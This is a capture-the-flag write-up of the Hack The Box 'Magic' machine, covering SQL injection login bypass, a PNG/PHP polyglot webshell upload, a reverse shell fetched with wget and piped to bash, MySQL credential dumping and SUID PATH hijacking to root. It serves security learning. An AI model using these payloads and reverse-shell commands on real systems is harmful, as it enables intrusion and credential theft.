Post

HTB Magic CTF Writeup

Medium-rated Linux box. SQL injection bypasses authentication on an image upload portal. A magic-bytes polyglot bypasses file type validation to achieve RCE. A SUID binary with a relative command path is hijacked via PATH manipulation for privilege escalation.

HTB Magic CTF Writeup

HTB Magic CTF

Summary

Magic is a Medium-difficulty Linux machine featuring web exploitation and privilege escalation via SUID binary abuse. Initial access is gained through SQL injection authentication bypass on the login form using the payload admin' or 1=1#. This grants access to an image upload feature vulnerable to whitelist bypass via double extension. A polyglot file combining PNG magic bytes with PHP code is uploaded as legit.php.png, achieving remote code execution as www-data. Database credentials are discovered in db.php5, allowing enumeration of the MySQL instance (via mysqldump or chisel tunneling) which reveals the cleartext password Th3s3usW4sK1ng for user theseus. Privilege escalation to root is achieved by exploiting a custom SUID binary /bin/sysinfo that executes system commands without absolute paths. Using Ghidra to reverse engineer the binary, a PATH hijacking attack is performed by creating a malicious lshw script that sets the SUID bit on /bin/bash, granting root access.

Service Enumeration

I ran:

1
nmap -A -vv -oN scans/nmap.initial 10.129.40.37

And have the following results:

1
2
3
4
5
6
7
8
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Server Enumeration

This is how the home page looks like:

image.webp

The footer links me to the login page at http://10.129.40.37/login.php. I try simple combinations like “admin:admin” but get invalid credentials:

image.webp

I proceed to test for SQL injection in this form. I put the username as admin' (with a single quote), submit the login request, and notice how the login error message is simply gone. This behavior only occurs when I use a single quote. If I use a double quote, for instance, the login error message shows up just fine.

I can confirm this using burpsuite. The response for my request with admin:admin as credentials has a total of 4639 bytes:

image.webp

The request with a single quote though has way less bytes (4587) which indicates a change in behavior.

image.webp

SQL Injection

I run the following ffuf command to test for sql injection auth bypass:

1
ffuf -u http://10.129.40.37/login.php --data 'username=adminFUZZ&password=admin' -w /usr/share/wordlists/SecLists/Fuzzing/Databases/SQLi/sqli.auth.bypass.txt -t 5 -x http://127.0.0.1:8080 -H 'Content-Type: application/x-www-form-urlencoded'

All the requests go through my burpsuite proxy, where I can confirm I can bypass the login form with certain payloads:

image.webp

Whenever the payload works, the server returns a 302 Redirect to “upload.php”, and now I can access this feature in the website.

I bypass the login with the following payload:

1
2
Username: admin' or 1=1#
Password: anything

And now I have access to http://10.129.40.37/upload.php, I can upload images:

image.webp

Initial Access - File Upload Whitelist Bypass

I have this completely valid, random PNG image. As you can see from the output of the “file” command, it shows as a valid PNG image:

1
2
$ file image.webp 
image.webp: PNG image data, 150 x 47, 8-bit/color RGBA, non-interlaced

That is because the magic bytes of this file match the required magic bytes for it to be considered a PNG file. There’s complete lists of magic bytes signatures online.

Only the very few bytes of the file matter though, the magic bytes are just the very first couple of bytes of a file.

I can recreate a file that’ll be interpreted as a PNG by using this “head” technique:

1
head -c 20 image.webp > malicious.png

I’m creating a new file named “malicious.png” with only the very first 20 bytes of “image.webp”, which is a valid png image. If I check this newly created “malicious.png” file, I see it looks like a png:

1
2
3
$ file malicious.png 

malicious.png: PNG image data, 150 x 0, 0-bit grayscale, non-interlaced

Now the file “malicious.png” actually just hold the magic bytes for a PNG image.

I can go beyond that and create a malicious php script that executes system commands. I save this file as “evil.php”:

1
<?php system($_REQUEST['cmd']); ?>

To create a malicious file that looks like a PNG and contains the malicious php code above, I simply cat the two together (malicious.png that hold the magic bytes for a png image, and evil.php) and save the combined contents to a new file:

1
2
3
4
$ cat malicious.png evil.php > legit.png
$ file legit.png

legit.png: PNG image data, 150 x 1010790504, 112-bit

And legit.png contains the php script. I upload “legit.png”. The server does not complain. I can access the uploaded file at http://10.129.40.37/images/uploads/legit.png, but it says it contains errors:

image.webp

That’s because the image is completely blank, no contents at all beyond the php script. I can intercept the upload request with burpsuite and edit the filename on the fly to be “legit.png.php” and see if the server accepts it:

image.webp

It seems like it has a extension whitelist:

1
Sorry, only JPG, JPEG & PNG files are allowed.

Since it’s a whitelist, it makes it exceptionally hard for us to bypass. We’d have to take into consideration possible code logic flaws or server misconfigurations. We could also take into account things like the nullbyte vulnerability that affects some PHP versions (where I can upload a file named “legit.php%00.png” and have the server accept the .png extenion but actually truncate the filename without anything after the nullbyte, which effectively would save my file as “legit.php”, cutting off the .png completely while also bypassing the whitelist filter first)

I use a double extension bypass technique, so that my file name is:

1
legit.php.png

It says the file has been uploaded:

image.webp

I access this image at http://10.129.40.37/images/uploads/legit.php.png and see it exists in the server. I add the command I want to execute in the request like http://10.129.40.37/images/uploads/legit.php.png?cmd=whoami and the server executes it as you can see from the screenshot below:

image.webp

I right-click the request, and change the request method. I’m doing this because POST requests usually have fewer bad characters, and I can type system commands that would potentially use special chracters more freely.

image.webp

I save “shell.sh” in my local machine with the following contents:

1
sh -i >& /dev/tcp/10.10.14.57/9999 0>&1

Start a python http server:

1
sudo python3 -m http.server 80

I also start a netcat listener on port 9999:

1
nc -lvnp 9999

And use the following cmd on the uploaded malicious png file (I first tried using curl, but curl isn’t available on the box):

1
cmd=wget -O- 10.10.14.57/shell.sh|bash

The server returns no response:

image.webp

But if I check my terminals, I see the server fetches my shell.sh script and executes it. Now I have a reverse shell connection as www-data:

image.webp

Horizontal Privilege Escalation

I’m the web user, so it only makes sense for me to take a look at the web-related files. I also know that there’s a very high chance there’s a database running on this server, and the webapp needs to be able to access it. There might be files that leak valid credentials.

I search for files in the Magic webapp:

1
www-data@ubuntu:/var/www/Magic$ find . -type f

One of the last files to show up is this one:

1
./db.php5

This is the exact type of file I’m looking for. I read it to find the following database credentials:

1
2
3
4
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';

I can confirm mysql is listening on local port 3306:

1
2
www-data@ubuntu:/var/www/Magic$ ss -tulpn | grep 3306 
tcp    LISTEN   0        80              127.0.0.1:3306           0.0.0.0:*

So I try using mysql client on the victim machine to access the mysql instance, but the client is not installed:

1
2
3
$ mysql 

Command 'mysql' not found, but can be installed with:

Connecting to the MySQL Database - chisel

My first instinct is to transfer “chisel” to the victim. I fire up a python web server on my attacking machine, hosting the chisel linux binary:

1
sudo python3 -m http.server 80

On the victim machine I get the binary:

1
wget 10.10.14.57/chisel

I set up the chisel server on my machine:

1
nohup ./chisel server --reverse --socks5 -p 1337 &

On the victim machine, I mark chisel as executable:

1
chmod +x chisel

And make it connect to my reverse socks5 proxy server:

1
nohup ./chisel client 10.10.14.57:1337 R:socks &

I connect to the mysql instance via my attacking machine, using proxychains to forward the traffic through the socks proxy:

1
proxychains4 mysql -h 127.0.0.1 -u theseus -p;

When asked for a password, I insert:

1
iamkingtheseus

And now I can enumerate the instance, to discover a database named Magic. I use this database, look for tables, discover the “login” table, and ultimately dump it to reveal a cleartext password:

image.webp

More specifically:

1
2
3
4
MySQL [(none)]> show databases;
MySQL [(none)]> use Magic 
MySQL [Magic]> show tables;
MySQL [Magic]> select * from login;

And now I have this cleartext password from the “login” table:

1
Th3s3usW4sK1ng

I use this password to authenticate as “theseus” locally:

1
su theseus

Connecting to the Database - MySQL Dump

Later I realized despite the victim machine not having “mysql” client, it actually had “mysqldump” with would have served the same purpose and I would not have to create the whole chisel server/client configuration.

I use, on the victim machine, connected as “www-data”:

1
mysqldump Magic -u theseus -p;

And as you can see from the screenshot below, I get a full dump of the Magic database, include the entries for the “login” table:

image.webp

Vertical Privilege Escalation

I see “theseus” has membership in another group named users:

1
2
theseus@ubuntu:~$ id 
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)

The www-data user is not member of users, which sparks my curiosity on what is this group about. I search for files owned by this group:

1
2
theseus@ubuntu:~$ find / -group users -ls 2>/dev/null 
   393232     24 -rwsr-x---   1 root     users       22040 Oct 21  2019 /bin/sysinfo

The file /bin/sysinfo shows up, which is a binary owned by user root and group “users”. This binary has a peculiarity though, that being, it has a SUID bit set.

I see it’s an ELF binary:

1
2
theseus@ubuntu:~$ file /bin/sysinfo
/bin/sysinfo: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9e9d26d004da0634c0747d16d377cd2a934e565a, not stripped

And I search for this binary on Google but find no meaningful results, so this binary must be completely custom. I transfer it to my machine using scp:

1
scp -i theseus [email protected]:/bin/sysinfo .

I fire up gHidra. It offers me to analyse the binary. I select all options, and hit “analyse”. After a few seconds, I have the decompiled C code for the binary:

image.webp

You can see from the screenshot how this binary is collecting system information. It’s simply running a bunch of binaries, and more importantly, it’s not using absolute paths. That means, I can probably hijack the PATH variable to point any of the binaries the script is executing (that is, lshw, fdisk, cat or even free) to a malicious script.

On the victim machine, I export the PATH variable to include my current working directory (/home/theseus):

1
export PATH=$(pwd):$PATH

Then I create a fake lshw:

1
nano lshw

With the following contents:

1
2
3
#!/bin/bash

chmod +s /bin/bash

Give it execution rights:

1
chmod +x lshw

And execute the SUID binary:

1
/bin/sysinfo

I can see it misses the “Hardware Info” part completely:

1
2
3
4
5
6
7
theseus@ubuntu:~$ /bin/sysinfo
====================Hardware Info====================

====================Disk Info====================
Disk /dev/loop0: 164.8 MiB, 172761088 bytes, 337424 sectors
Units: sectors of 1 * 512 = 512 bytes
<SNIP>

Which is a good sign for me. I check the permissions for /bin/bash:

1
2
theseus@ubuntu:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1113504 Jun  6  2019 /bin/bash

And notice how it has a SUID bit set. Now It’s just a matter of executing it privileged:

1
/bin/bash -p

And now I’m root on the victim machine, as you can see from the screenshot below:

image.webp

This completes the box.

Beyond Root

This is a snippet from the htaccess file for the Magic webapp at /var/www/Magic/.htaccess:

<FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)">
SetHandler application/x-httpd-php
</FilesMatch>

There’s a massive problem with this regular expression. There’s no $ anchor at the end! This means the pattern matches .php anywhere in the filename, not just at the end:

  • Secure: .+\.php$ (must END with .php)

  • Vulnerable: .+\.php (can have .php ANYWHERE) - This is the case here

This is a** classic Apache misconfiguration that’s surprisingly common in the wild. The takeaway here is that file upload bypass via double extensions is still relevant in 2025.

This explains why our payload.php.png worked.

Things Learned

Here are some of the stuff I learned from this machine:

File Upload Acts Weird

For instance, I uploaded a completely valid and normal PNG image to the application. I captured this request on burpsuite.

I then started using this innocent request to add some malicious content. Like adding .php to the filename, changing the content-type, adding a php script to the image contents, and so on. When suddenly I would get this error:

1
<script>alert('What are you trying to do there?')</script>

I would revert all the changes i made to the image and try uploading it again, to find that the image is simply blocked now. For some reason even if I rename the file to something else but keeping the extension, and having the image contents as a normal image, the server kept giving me this error.

This made me think that some of my payloads would never work, but in reality, the server was just acting weird with my saved request.

What I should do from now on is to use the intercept tab on burpsuite instead when dealing with file uploads. Upload the file using the form in the website, and then intercept the request with burpsuite and tamper it on the fly.

I also have no idea how the server was triggering my request and giving that error above, since for me nothing really was 100% unique to that request. I feel like this is how the server knows:

1
------geckoformboundary9b434a35c2d54178e58d7d0a7976cad8

This must be the only unique piece in the request.

This post is licensed under CC BY 4.0 by the author.